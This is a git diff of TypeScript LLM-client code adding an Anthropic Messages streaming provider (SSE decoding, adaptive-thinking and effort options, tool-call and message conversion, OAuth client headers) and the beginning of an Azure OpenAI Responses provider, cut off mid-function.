+ thinkingBudgetTokens?: number; + /** + * Effort level for adaptive thinking (Opus 4.6+ and Sonnet 4.6). + * Controls how much thinking Claude allocates: + * - "max": Always thinks with no constraints (Opus 4.6 only) + * - "xhigh": Highest reasoning level (Opus 4.7) + * - "high": Always thinks, deep reasoning (default) + * - "medium": Moderate thinking, may skip for simple queries + * - "low": Minimal thinking, skips for simple tasks + * Ignored for older models. + */ + effort?: AnthropicEffort; + /** + * Controls how thinking content is returned in API responses. + * - "summarized": Thinking blocks contain summarized thinking text (default here). + * - "omitted": Thinking blocks return an empty thinking field; the encrypted + * signature still travels back for multi-turn continuity. Use for faster + * time-to-first-text-token when your UI does not surface thinking. + * + * Note: Anthropic's API default for Claude Opus 4.7 and Claude Mythos Preview + * is "omitted". We default to "summarized" here to keep behavior consistent + * with older Claude 4 models. Set this explicitly to "omitted" to opt in. + */ + thinkingDisplay?: AnthropicThinkingDisplay; + interleavedThinking?: boolean; + toolChoice?: "auto" | "any" | "none" | { type: "tool"; name: string }; + /** + * Pre-built Anthropic client instance. When provided, skips internal client + * construction entirely. Use this to inject alternative SDK clients such as + * `AnthropicVertex` that shares the same messaging API. + */ + client?: Anthropic; +} + +function mergeHeaders( + ...headerSources: (Record | undefined)[] +): Record { + const merged: Record = {}; + for (const headers of headerSources) { + if (headers) { + Object.assign(merged, headers); + } + } + return merged; +} + +interface ServerSentEvent { + event: string | null; + data: string; + raw: string[]; +} + +interface SseDecoderState { + event: string | null; + data: string[]; + raw: string[]; +} + +const ANTHROPIC_MESSAGE_EVENTS: ReadonlySet = new Set([ + "message_start", + "message_delta", + "message_stop", + "content_block_start", + "content_block_delta", + "content_block_stop", +]); + +function flushSseEvent(state: SseDecoderState): ServerSentEvent | null { + if (!state.event && state.data.length === 0) { + return null; + } + + const event: ServerSentEvent = { + event: state.event, + data: state.data.join("\n"), + raw: [...state.raw], + }; + state.event = null; + state.data = []; + state.raw = []; + return event; +} + +function decodeSseLine(line: string, state: SseDecoderState): ServerSentEvent | null { + if (line === "") { + return flushSseEvent(state); + } + + state.raw.push(line); + if (line.startsWith(":")) { + return null; + } + + const delimiterIndex = line.indexOf(":"); + const fieldName = delimiterIndex === -1 ? line : line.slice(0, delimiterIndex); + let value = delimiterIndex === -1 ? "" : line.slice(delimiterIndex + 1); + if (value.startsWith(" ")) { + value = value.slice(1); + } + + if (fieldName === "event") { + state.event = value; + } else if (fieldName === "data") { + state.data.push(value); + } + + return null; +} + +function nextLineBreakIndex(text: string): number { + const carriageReturnIndex = text.indexOf("\r"); + const newlineIndex = text.indexOf("\n"); + if (carriageReturnIndex === -1) { + return newlineIndex; + } + if (newlineIndex === -1) { + return carriageReturnIndex; + } + return Math.min(carriageReturnIndex, newlineIndex); +} + +function consumeLine(text: string): { line: string; rest: string } | null { + const lineBreakIndex = nextLineBreakIndex(text); + if (lineBreakIndex === -1) { + return null; + } + + let nextIndex = lineBreakIndex + 1; + if (text[lineBreakIndex] === "\r" && text[nextIndex] === "\n") { + nextIndex += 1; + } + + return { + line: text.slice(0, lineBreakIndex), + rest: text.slice(nextIndex), + }; +} + +async function* iterateSseMessages( + body: ReadableStream, + signal?: AbortSignal, +): AsyncGenerator { + const reader = body.getReader(); + const decoder = new TextDecoder(); + const state: SseDecoderState = { event: null, data: [], raw: [] }; + let buffer = ""; + + try { + while (true) { + if (signal?.aborted) { + throw new Error("Request was aborted"); + } + + const { value, done } = await reader.read(); + if (done) { + break; + } + + buffer += decoder.decode(value, { stream: true }); + let consumed = consumeLine(buffer); + while (consumed) { + buffer = consumed.rest; + const event = decodeSseLine(consumed.line, state); + if (event) { + yield event; + } + consumed = consumeLine(buffer); + } + } + + buffer += decoder.decode(); + let consumed = consumeLine(buffer); + while (consumed) { + buffer = consumed.rest; + const event = decodeSseLine(consumed.line, state); + if (event) { + yield event; + } + consumed = consumeLine(buffer); + } + + if (buffer.length > 0) { + const event = decodeSseLine(buffer, state); + if (event) { + yield event; + } + } + + const trailingEvent = flushSseEvent(state); + if (trailingEvent) { + yield trailingEvent; + } + } finally { + reader.releaseLock(); + } +} + +async function* iterateAnthropicEvents( + response: Response, + signal?: AbortSignal, +): AsyncGenerator { + if (!response.body) { + throw new Error("Attempted to iterate over an Anthropic response with no body"); + } + + let sawMessageStart = false; + let sawMessageEnd = false; + + for await (const sse of iterateSseMessages(response.body, signal)) { + if (sse.event === "error") { + throw new Error(sse.data); + } + + if (!ANTHROPIC_MESSAGE_EVENTS.has(sse.event ?? "")) { + continue; + } + + try { + const event = parseJsonWithRepair(sse.data) as RawMessageStreamEvent; + if (event.type === "message_start") { + sawMessageStart = true; + } else if (event.type === "message_stop") { + sawMessageEnd = true; + } + yield event; + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + throw new Error( + `Could not parse Anthropic SSE event ${sse.event}: ${message}; data=${sse.data}; raw=${sse.raw.join("\\n")}`, + { cause: error }, + ); + } + } + + if (sawMessageStart && !sawMessageEnd) { + throw new Error("Anthropic stream ended before message_stop"); + } +} + +export const streamAnthropic: StreamFunction<"anthropic-messages", AnthropicOptions> = ( + model: Model<"anthropic-messages">, + context: Context, + options?: AnthropicOptions, +) => { + const stream = new AssistantMessageEventStream(); + + void (async () => { + const output: AssistantMessage = { + role: "assistant", + content: [], + api: model.api as Api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + try { + let client: Anthropic; + let isOAuth: boolean; + + if (options?.client) { + client = options.client; + isOAuth = false; + } else { + const apiKey = options?.apiKey ?? getEnvApiKey(model.provider) ?? ""; + + let copilotDynamicHeaders: Record | undefined; + if (model.provider === "github-copilot") { + const hasImages = hasCopilotVisionInput(context.messages); + copilotDynamicHeaders = buildCopilotDynamicHeaders({ + messages: context.messages, + hasImages, + }); + } + + const cacheRetention = options?.cacheRetention ?? resolveCacheRetention(); + const cacheSessionId = cacheRetention === "none" ? undefined : options?.sessionId; + + const created = createClient( + model, + apiKey, + options?.interleavedThinking ?? true, + shouldUseFineGrainedToolStreamingBeta(model, context), + options?.headers, + copilotDynamicHeaders, + cacheSessionId, + ); + client = created.client; + isOAuth = created.isOAuthToken; + } + let params = buildParams(model, context, isOAuth, options); + const nextParams = await options?.onPayload?.(params, model); + if (nextParams !== undefined) { + params = nextParams as MessageCreateParamsStreaming; + } + const requestOptions = { + ...(options?.signal ? { signal: options.signal } : {}), + ...(options?.timeoutMs !== undefined ? { timeout: options.timeoutMs } : {}), + ...(options?.maxRetries !== undefined ? { maxRetries: options.maxRetries } : {}), + }; + const response = await client.messages + .create({ ...params, stream: true }, requestOptions) + .asResponse(); + await options?.onResponse?.( + { status: response.status, headers: headersToRecord(response.headers) }, + model, + ); + stream.push({ type: "start", partial: output }); + + type Block = (ThinkingContent | TextContent | (ToolCall & { partialJson: string })) & { + index: number; + }; + const blocks = output.content as Block[]; + + for await (const event of iterateAnthropicEvents(response, options?.signal)) { + if (event.type === "message_start") { + output.responseId = event.message.id; + // Capture initial token usage from message_start event + // This ensures we have input token counts even if the stream is aborted early + output.usage.input = event.message.usage.input_tokens || 0; + output.usage.output = event.message.usage.output_tokens || 0; + output.usage.cacheRead = event.message.usage.cache_read_input_tokens || 0; + output.usage.cacheWrite = event.message.usage.cache_creation_input_tokens || 0; + // Anthropic doesn't provide total_tokens, compute from components + output.usage.totalTokens = + output.usage.input + + output.usage.output + + output.usage.cacheRead + + output.usage.cacheWrite; + calculateCost(model, output.usage); + } else if (event.type === "content_block_start") { + if (event.content_block.type === "text") { + const block: Block = { + type: "text", + text: "", + index: event.index, + }; + output.content.push(block); + stream.push({ + type: "text_start", + contentIndex: output.content.length - 1, + partial: output, + }); + } else if (event.content_block.type === "thinking") { + const block: Block = { + type: "thinking", + thinking: "", + thinkingSignature: "", + index: event.index, + }; + output.content.push(block); + stream.push({ + type: "thinking_start", + contentIndex: output.content.length - 1, + partial: output, + }); + } else if (event.content_block.type === "redacted_thinking") { + const block: Block = { + type: "thinking", + thinking: "[Reasoning redacted]", + thinkingSignature: event.content_block.data, + redacted: true, + index: event.index, + }; + output.content.push(block); + stream.push({ + type: "thinking_start", + contentIndex: output.content.length - 1, + partial: output, + }); + } else if (event.content_block.type === "tool_use") { + const block: Block = { + type: "toolCall", + id: event.content_block.id, + name: isOAuth + ? fromClaudeCodeName(event.content_block.name, context.tools) + : event.content_block.name, + arguments: (event.content_block.input as Record) ?? {}, + partialJson: "", + index: event.index, + }; + output.content.push(block); + stream.push({ + type: "toolcall_start", + contentIndex: output.content.length - 1, + partial: output, + }); + } + } else if (event.type === "content_block_delta") { + if (event.delta.type === "text_delta") { + const index = blocks.findIndex((b) => b.index === event.index); + const block = blocks[index]; + if (block && block.type === "text") { + block.text += event.delta.text; + stream.push({ + type: "text_delta", + contentIndex: index, + delta: event.delta.text, + partial: output, + }); + } + } else if (event.delta.type === "thinking_delta") { + const index = blocks.findIndex((b) => b.index === event.index); + const block = blocks[index]; + if (block && block.type === "thinking") { + block.thinking += event.delta.thinking; + stream.push({ + type: "thinking_delta", + contentIndex: index, + delta: event.delta.thinking, + partial: output, + }); + } + } else if (event.delta.type === "input_json_delta") { + const index = blocks.findIndex((b) => b.index === event.index); + const block = blocks[index]; + if (block && block.type === "toolCall") { + block.partialJson += event.delta.partial_json; + block.arguments = parseStreamingJson(block.partialJson); + stream.push({ + type: "toolcall_delta", + contentIndex: index, + delta: event.delta.partial_json, + partial: output, + }); + } + } else if (event.delta.type === "signature_delta") { + const index = blocks.findIndex((b) => b.index === event.index); + const block = blocks[index]; + if (block && block.type === "thinking") { + block.thinkingSignature = block.thinkingSignature || ""; + block.thinkingSignature += event.delta.signature; + } + } + } else if (event.type === "content_block_stop") { + const index = blocks.findIndex((b) => b.index === event.index); + const block = blocks[index]; + if (block) { + delete (block as Partial).index; + if (block.type === "text") { + stream.push({ + type: "text_end", + contentIndex: index, + content: block.text, + partial: output, + }); + } else if (block.type === "thinking") { + stream.push({ + type: "thinking_end", + contentIndex: index, + content: block.thinking, + partial: output, + }); + } else if (block.type === "toolCall") { + block.arguments = parseStreamingJson(block.partialJson); + // Finalize in-place and strip the scratch buffer so replay only + // carries parsed arguments. + delete (block as { partialJson?: string }).partialJson; + stream.push({ + type: "toolcall_end", + contentIndex: index, + toolCall: block, + partial: output, + }); + } + } + } else if (event.type === "message_delta") { + if (event.delta.stop_reason) { + output.stopReason = mapStopReason(event.delta.stop_reason); + } + // Only update usage fields if present (not null). + // Preserves input_tokens from message_start when proxies omit it in message_delta. + if (event.usage.input_tokens != null) { + output.usage.input = event.usage.input_tokens; + } + if (event.usage.output_tokens != null) { + output.usage.output = event.usage.output_tokens; + } + if (event.usage.cache_read_input_tokens != null) { + output.usage.cacheRead = event.usage.cache_read_input_tokens; + } + if (event.usage.cache_creation_input_tokens != null) { + output.usage.cacheWrite = event.usage.cache_creation_input_tokens; + } + // Anthropic doesn't provide total_tokens, compute from components + output.usage.totalTokens = + output.usage.input + + output.usage.output + + output.usage.cacheRead + + output.usage.cacheWrite; + calculateCost(model, output.usage); + } + } + + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + + if (output.stopReason === "aborted" || output.stopReason === "error") { + throw new Error("An unknown error occurred"); + } + + stream.push({ type: "done", reason: output.stopReason, message: output }); + stream.end(); + } catch (error) { + for (const block of output.content) { + delete (block as { index?: number }).index; + // partialJson is only a streaming scratch buffer; never persist it. + delete (block as { partialJson?: string }).partialJson; + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = error instanceof Error ? error.message : JSON.stringify(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +/** + * Check if a model supports adaptive thinking (Opus 4.6+, Sonnet 4.6) + */ +function supportsAdaptiveThinking(modelId: string): boolean { + // Adaptive-thinking model IDs (with or without date suffix) + return ( + modelId.includes("opus-4-6") || + modelId.includes("opus-4.6") || + modelId.includes("opus-4-7") || + modelId.includes("opus-4.7") || + modelId.includes("sonnet-4-6") || + modelId.includes("sonnet-4.6") + ); +} + +/** + * Map ThinkingLevel to Anthropic effort levels for adaptive thinking. + * Note: effort "max" is only valid on Opus 4.6, while Opus 4.7 supports "xhigh". + */ +function mapThinkingLevelToEffort( + model: Model<"anthropic-messages">, + level: SimpleStreamOptions["reasoning"], +): AnthropicEffort { + const mapped = level ? model.thinkingLevelMap?.[level] : undefined; + if (typeof mapped === "string") { + return mapped as AnthropicEffort; + } + + switch (level) { + case "minimal": + case "low": + return "low"; + case "medium": + return "medium"; + case "high": + return "high"; + default: + return "high"; + } +} + +export const streamSimpleAnthropic: StreamFunction<"anthropic-messages", SimpleStreamOptions> = ( + model: Model<"anthropic-messages">, + context: Context, + options?: SimpleStreamOptions, +) => { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const base = buildBaseOptions(model, options, apiKey); + if (!options?.reasoning) { + return streamAnthropic(model, context, { + ...base, + thinkingEnabled: false, + } satisfies AnthropicOptions); + } + + // For Opus 4.6 and Sonnet 4.6: use adaptive thinking with effort level + // For older models: use budget-based thinking + if (supportsAdaptiveThinking(model.id)) { + const effort = mapThinkingLevelToEffort(model, options.reasoning); + return streamAnthropic(model, context, { + ...base, + thinkingEnabled: true, + effort, + } satisfies AnthropicOptions); + } + + // Undefined means the caller did not request an output cap; let the helper use the model cap. + // Do not coerce to 0 here, or the thinking budget would become the entire max_tokens value. + const adjusted = adjustMaxTokensForThinking( + base.maxTokens, + model.maxTokens, + options.reasoning, + options.thinkingBudgets, + ); + + return streamAnthropic(model, context, { + ...base, + maxTokens: adjusted.maxTokens, + thinkingEnabled: true, + thinkingBudgetTokens: adjusted.thinkingBudget, + } satisfies AnthropicOptions); +}; + +function isOAuthToken(apiKey: string): boolean { + return apiKey.includes("sk-ant-oat"); +} + +function createClient( + model: Model<"anthropic-messages">, + apiKey: string, + interleavedThinking: boolean, + useFineGrainedToolStreamingBeta: boolean, + optionsHeaders?: Record, + dynamicHeaders?: Record, + sessionId?: string, +): { client: Anthropic; isOAuthToken: boolean } { + // Adaptive thinking models (Opus 4.6, Sonnet 4.6) have interleaved thinking built-in. + // The beta header is deprecated on Opus 4.6 and redundant on Sonnet 4.6, so skip it. + const needsInterleavedBeta = interleavedThinking && !supportsAdaptiveThinking(model.id); + const betaFeatures: string[] = []; + if (useFineGrainedToolStreamingBeta) { + betaFeatures.push(FINE_GRAINED_TOOL_STREAMING_BETA); + } + if (needsInterleavedBeta) { + betaFeatures.push(INTERLEAVED_THINKING_BETA); + } + + if (model.provider === "cloudflare-ai-gateway") { + const client = new Anthropic({ + apiKey, + authToken: null, + baseURL: resolveCloudflareBaseUrl(model), + dangerouslyAllowBrowser: true, + defaultHeaders: mergeHeaders( + { + accept: "application/json", + "anthropic-dangerous-direct-browser-access": "true", + Authorization: null, + ...(betaFeatures.length > 0 ? { "anthropic-beta": betaFeatures.join(",") } : {}), + }, + model.headers, + optionsHeaders, + ), + }); + + return { client, isOAuthToken: false }; + } + + // Copilot: Bearer auth, selective betas. + if (model.provider === "github-copilot") { + const client = new Anthropic({ + apiKey: null, + authToken: apiKey, + baseURL: model.baseUrl, + dangerouslyAllowBrowser: true, + defaultHeaders: mergeHeaders( + { + accept: "application/json", + "anthropic-dangerous-direct-browser-access": "true", + ...(betaFeatures.length > 0 ? { "anthropic-beta": betaFeatures.join(",") } : {}), + }, + model.headers, + dynamicHeaders, + optionsHeaders, + ), + }); + + return { client, isOAuthToken: false }; + } + + // OAuth: Bearer auth, Claude Code identity headers + if (isOAuthToken(apiKey)) { + const client = new Anthropic({ + apiKey: null, + authToken: apiKey, + baseURL: model.baseUrl, + dangerouslyAllowBrowser: true, + defaultHeaders: mergeHeaders( + { + accept: "application/json", + "anthropic-dangerous-direct-browser-access": "true", + "anthropic-beta": ["claude-code-20250219", "oauth-2025-04-20", ...betaFeatures].join(","), + "user-agent": `claude-cli/${claudeCodeVersion}`, + "x-app": "cli", + }, + model.headers, + optionsHeaders, + ), + }); + + return { client, isOAuthToken: true }; + } + + // API key auth + const sessionAffinityHeaders: Record = + sessionId && getAnthropicCompat(model).sendSessionAffinityHeaders + ? { "x-session-affinity": sessionId } + : {}; + const client = new Anthropic({ + apiKey, + authToken: null, + baseURL: model.baseUrl, + dangerouslyAllowBrowser: true, + defaultHeaders: mergeHeaders( + { + accept: "application/json", + "anthropic-dangerous-direct-browser-access": "true", + ...(betaFeatures.length > 0 ? { "anthropic-beta": betaFeatures.join(",") } : {}), + }, + sessionAffinityHeaders, + model.headers, + optionsHeaders, + ), + }); + + return { client, isOAuthToken: false }; +} + +function buildParams( + model: Model<"anthropic-messages">, + context: Context, + isOAuthToken: boolean, + options?: AnthropicOptions, +): MessageCreateParamsStreaming { + const { cacheControl } = getCacheControl(model, options?.cacheRetention); + const params: MessageCreateParamsStreaming = { + model: model.id, + messages: convertMessages(context.messages, model, isOAuthToken, cacheControl), + max_tokens: options?.maxTokens ?? model.maxTokens, + stream: true, + }; + + // For OAuth tokens, we MUST include Claude Code identity + if (isOAuthToken) { + params.system = [ + { + type: "text", + text: "You are Claude Code, Anthropic's official CLI for Claude.", + ...(cacheControl ? { cache_control: cacheControl } : {}), + }, + ]; + if (context.systemPrompt) { + params.system.push({ + type: "text", + text: sanitizeSurrogates(context.systemPrompt), + ...(cacheControl ? { cache_control: cacheControl } : {}), + }); + } + } else if (context.systemPrompt) { + // Add cache control to system prompt for non-OAuth tokens + params.system = [ + { + type: "text", + text: sanitizeSurrogates(context.systemPrompt), + ...(cacheControl ? { cache_control: cacheControl } : {}), + }, + ]; + } + + // Temperature is incompatible with extended thinking (adaptive or budget-based). + if (options?.temperature !== undefined && !options?.thinkingEnabled) { + params.temperature = options.temperature; + } + + if (context.tools && context.tools.length > 0) { + const compat = getAnthropicCompat(model); + params.tools = convertTools( + context.tools, + isOAuthToken, + compat.supportsEagerToolInputStreaming, + compat.supportsCacheControlOnTools ? cacheControl : undefined, + ); + } + + // Configure thinking mode: adaptive (Opus 4.6+ and Sonnet 4.6), + // budget-based (older models), or explicitly disabled. + if (model.reasoning) { + if (options?.thinkingEnabled) { + // Default to "summarized" so Opus 4.7 and Mythos Preview behave like + // older Claude 4 models (whose API default is also "summarized"). + const display: AnthropicThinkingDisplay = options.thinkingDisplay ?? "summarized"; + if (supportsAdaptiveThinking(model.id)) { + // Adaptive thinking: Claude decides when and how much to think. + params.thinking = { type: "adaptive", display }; + if (options.effort) { + // The Anthropic SDK types can lag newly supported effort values such as "xhigh". + params.output_config = + options.effort === "xhigh" + ? ({ effort: options.effort } as unknown as NonNullable< + MessageCreateParamsStreaming["output_config"] + >) + : { effort: options.effort }; + } + } else { + // Budget-based thinking for older models + params.thinking = { + type: "enabled", + budget_tokens: options.thinkingBudgetTokens || 1024, + display, + }; + } + } else if (options?.thinkingEnabled === false) { + params.thinking = { type: "disabled" }; + } + } + + if (options?.metadata) { + const userId = options.metadata.user_id; + if (typeof userId === "string") { + params.metadata = { user_id: userId }; + } + } + + if (options?.toolChoice) { + if (typeof options.toolChoice === "string") { + params.tool_choice = { type: options.toolChoice }; + } else { + params.tool_choice = options.toolChoice; + } + } + + return params; +} + +// Normalize tool call IDs to match Anthropic's required pattern and length +function normalizeToolCallId(id: string): string { + return id.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 64); +} + +function convertMessages( + messages: Message[], + model: Model<"anthropic-messages">, + isOAuthToken: boolean, + cacheControl?: CacheControlEphemeral, +): MessageParam[] { + const params: MessageParam[] = []; + + // Transform messages for cross-provider compatibility + const transformedMessages = transformMessages(messages, model, normalizeToolCallId); + + for (let i = 0; i < transformedMessages.length; i++) { + const msg = transformedMessages[i]; + + if (msg.role === "user") { + if (typeof msg.content === "string") { + if (msg.content.trim().length > 0) { + params.push({ + role: "user", + content: sanitizeSurrogates(msg.content), + }); + } + } else { + const blocks: ContentBlockParam[] = msg.content.map((item) => { + if (item.type === "text") { + return { + type: "text", + text: sanitizeSurrogates(item.text), + }; + } + return { + type: "image", + source: { + type: "base64", + media_type: item.mimeType as "image/jpeg" | "image/png" | "image/gif" | "image/webp", + data: item.data, + }, + }; + }); + const filteredBlocks = blocks.filter((b) => { + if (b.type === "text") { + return b.text.trim().length > 0; + } + return true; + }); + if (filteredBlocks.length === 0) { + continue; + } + params.push({ + role: "user", + content: filteredBlocks, + }); + } + } else if (msg.role === "assistant") { + const blocks: ContentBlockParam[] = []; + + for (const block of msg.content) { + if (block.type === "text") { + if (block.text.trim().length === 0) { + continue; + } + blocks.push({ + type: "text", + text: sanitizeSurrogates(block.text), + }); + } else if (block.type === "thinking") { + // Redacted thinking: pass the opaque payload back as redacted_thinking + if (block.redacted) { + blocks.push({ + type: "redacted_thinking", + data: block.thinkingSignature!, + }); + continue; + } + if (block.thinking.trim().length === 0) { + continue; + } + // If thinking signature is missing/empty (e.g., from aborted stream), + // convert to plain text block without tags to avoid API rejection + // and prevent Claude from mimicking the tags in responses + if (!block.thinkingSignature || block.thinkingSignature.trim().length === 0) { + blocks.push({ + type: "text", + text: sanitizeSurrogates(block.thinking), + }); + } else { + blocks.push({ + type: "thinking", + thinking: sanitizeSurrogates(block.thinking), + signature: block.thinkingSignature, + }); + } + } else if (block.type === "toolCall") { + blocks.push({ + type: "tool_use", + id: block.id, + name: isOAuthToken ? toClaudeCodeName(block.name) : block.name, + input: block.arguments ?? {}, + }); + } + } + if (blocks.length === 0) { + continue; + } + params.push({ + role: "assistant", + content: blocks, + }); + } else if (msg.role === "toolResult") { + // Collect all consecutive toolResult messages, needed for z.ai Anthropic endpoint + const toolResults: ContentBlockParam[] = []; + + // Add the current tool result + toolResults.push({ + type: "tool_result", + tool_use_id: msg.toolCallId, + content: convertContentBlocks(msg.content), + is_error: msg.isError, + }); + + // Look ahead for consecutive toolResult messages + let j = i + 1; + while (j < transformedMessages.length && transformedMessages[j].role === "toolResult") { + const nextMsg = transformedMessages[j] as ToolResultMessage; // We know it's a toolResult + toolResults.push({ + type: "tool_result", + tool_use_id: nextMsg.toolCallId, + content: convertContentBlocks(nextMsg.content), + is_error: nextMsg.isError, + }); + j++; + } + + // Skip the messages we've already processed + i = j - 1; + + // Add a single user message with all tool results + params.push({ + role: "user", + content: toolResults, + }); + } + } + + // Add cache_control to the last user message to cache conversation history + if (cacheControl && params.length > 0) { + const lastMessage = params[params.length - 1]; + if (lastMessage.role === "user") { + if (Array.isArray(lastMessage.content)) { + const lastBlock = lastMessage.content[lastMessage.content.length - 1]; + if ( + lastBlock && + (lastBlock.type === "text" || + lastBlock.type === "image" || + lastBlock.type === "tool_result") + ) { + (lastBlock as typeof lastBlock & { cache_control?: typeof cacheControl }).cache_control = + cacheControl; + } + } else if (typeof lastMessage.content === "string") { + lastMessage.content = [ + { + type: "text", + text: lastMessage.content, + cache_control: cacheControl, + }, + ] as ContentBlockParam[]; + } + } + } + + return params; +} + +function shouldUseFineGrainedToolStreamingBeta( + model: Model<"anthropic-messages">, + context: Context, +): boolean { + return !!context.tools?.length && !getAnthropicCompat(model).supportsEagerToolInputStreaming; +} + +function convertTools( + tools: Tool[], + isOAuthToken: boolean, + supportsEagerToolInputStreaming: boolean, + cacheControl?: CacheControlEphemeral, +): Anthropic.Messages.Tool[] { + if (!tools) { + return []; + } + + return tools.map((tool, index) => { + const schema = tool.parameters as { properties?: unknown; required?: string[] }; + + return { + name: isOAuthToken ? toClaudeCodeName(tool.name) : tool.name, + description: tool.description, + ...(supportsEagerToolInputStreaming ? { eager_input_streaming: true } : {}), + input_schema: { + type: "object", + properties: schema.properties ?? {}, + required: schema.required ?? [], + }, + ...(cacheControl && index === tools.length - 1 ? { cache_control: cacheControl } : {}), + }; + }); +} + +function mapStopReason(reason: string): StopReason { + switch (reason) { + case "end_turn": + return "stop"; + case "max_tokens": + return "length"; + case "tool_use": + return "toolUse"; + case "refusal": + return "error"; + case "pause_turn": // Stop is good enough -> resubmit + return "stop"; + case "stop_sequence": + return "stop"; // We don't supply stop sequences, so this should never happen + case "sensitive": // Content flagged by safety filters (not yet in SDK types) + return "error"; + default: + // Handle unknown stop reasons gracefully (API may add new values) + throw new Error(`Unhandled stop reason: ${reason}`); + } +} diff --git a/src/llm/providers/azure-openai-responses.ts b/src/llm/providers/azure-openai-responses.ts new file mode 100644 index 00000000000..ea0bc5f9e08 --- /dev/null +++ b/src/llm/providers/azure-openai-responses.ts @@ -0,0 +1,339 @@ +import { AzureOpenAI } from "openai"; +import type { ResponseCreateParamsStreaming } from "openai/resources/responses/responses.js"; +import { getEnvApiKey } from "../env-api-keys.js"; +import { clampThinkingLevel } from "../model-utils.js"; +import type { + Api, + AssistantMessage, + Context, + Model, + SimpleStreamOptions, + StreamFunction, + StreamOptions, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { headersToRecord } from "../utils/headers.js"; +import { clampOpenAIPromptCacheKey } from "./openai-prompt-cache.js"; +import { + convertResponsesMessages, + convertResponsesTools, + processResponsesStream, +} from "./openai-responses-shared.js"; +import { buildBaseOptions } from "./simple-options.js"; + +const DEFAULT_AZURE_API_VERSION = "v1"; +const AZURE_TOOL_CALL_PROVIDERS = new Set([ + "openai", + "openai-codex", + "opencode", + "azure-openai-responses", +]); + +function parseDeploymentNameMap(value: string | undefined): Map { + const map = new Map(); + if (!value) { + return map; + } + for (const entry of value.split(",")) { + const trimmed = entry.trim(); + if (!trimmed) { + continue; + } + const [modelId, deploymentName] = trimmed.split("=", 2); + if (!modelId || !deploymentName) { + continue; + } + map.set(modelId.trim(), deploymentName.trim()); + } + return map; +} + +function resolveDeploymentName( + model: Model<"azure-openai-responses">, + options?: AzureOpenAIResponsesOptions, +): string { + if (options?.azureDeploymentName) { + return options.azureDeploymentName; + } + const mappedDeployment = parseDeploymentNameMap(process.env.AZURE_OPENAI_DEPLOYMENT_NAME_MAP).get( + model.id, + ); + return mappedDeployment || model.id; +} + +function formatAzureOpenAIError(error: unknown): string { + if (error instanceof Error) { + const status = (error as Error & { status?: unknown }).status; + const statusCode = typeof status === "number" ? status : undefined; + if (statusCode !== undefined) { + return `Azure OpenAI API error (${statusCode}): ${error.message}`; + } + return error.message; + } + try { + return JSON.stringify(error); + } catch { + return String(error); + } +} + +// Azure OpenAI Responses-specific options +export interface AzureOpenAIResponsesOptions extends StreamOptions { + reasoningEffort?: "minimal" | "low" | "medium" | "high" | "xhigh"; + reasoningSummary?: "auto" | "detailed" | "concise" | null; + azureApiVersion?: string; + azureResourceName?: string; + azureBaseUrl?: string; + azureDeploymentName?: string; +} + +/** + * Generate function for Azure OpenAI Responses API + */ +export const streamAzureOpenAIResponses: StreamFunction< + "azure-openai-responses", + AzureOpenAIResponsesOptions +> = ( + model: Model<"azure-openai-responses">, + context: Context, + options?: AzureOpenAIResponsesOptions, +) => { + const stream = new AssistantMessageEventStream(); + + // Start async processing + void (async () => { + const deploymentName = resolveDeploymentName(model, options); + + const output: AssistantMessage = { + role: "assistant", + content: [], + api: "azure-openai-responses" as Api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + try { + // Create Azure OpenAI client + const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; + const client = createClient(model, apiKey, options); + let params = buildParams(model, context, options, deploymentName); + const nextParams = await options?.onPayload?.(params, model); + if (nextParams !== undefined) { + params = nextParams as ResponseCreateParamsStreaming; + } + const requestOptions = { + ...(options?.signal ? { signal: options.signal } : {}), + ...(options?.timeoutMs !== undefined ? { timeout: options.timeoutMs } : {}), + ...(options?.maxRetries !== undefined ? { maxRetries: options.maxRetries } : {}), + }; + const { data: openaiStream, response } = await client.responses + .create(params, requestOptions) + .withResponse(); + await options?.onResponse?.( + { status: response.status, headers: headersToRecord(response.headers) }, + model, + ); + stream.push({ type: "start", partial: output }); + + await processResponsesStream(openaiStream, output, stream, model); + + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + + if (output.stopReason === "aborted" || output.stopReason === "error") { + throw new Error("An unknown error occurred"); + } + + stream.push({ type: "done", reason: output.stopReason, message: output }); + stream.end(); + } catch (error) { + for (const block of output.content) { + delete (block as { index?: number }).index; + // partialJson is only a streaming scratch buffer; never persist it. + delete (block as { partialJson?: string }).partialJson; + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = formatAzureOpenAIError(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +export const streamSimpleAzureOpenAIResponses: StreamFunction< + "azure-openai-responses", + SimpleStreamOptions +> = (model: Model<"azure-openai-responses">, context: Context, options?: SimpleStreamOptions) => { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const base = buildBaseOptions(model, options, apiKey); + const clampedReasoning = options?.reasoning + ? clampThinkingLevel(model, options.reasoning) + : undefined; + const reasoningEffort = clampedReasoning === "off" ? undefined : clampedReasoning; + + return streamAzureOpenAIResponses(model, context, { + ...base, + reasoningEffort, + } satisfies AzureOpenAIResponsesOptions); +}; + +function normalizeAzureBaseUrl(baseUrl: string): string { + const trimmed = baseUrl.trim().replace(/\/+$/, ""); + let url: URL; + try { + url = new URL(trimmed); + } catch { + throw new Error(`Invalid Azure OpenAI base URL: ${baseUrl}`); + 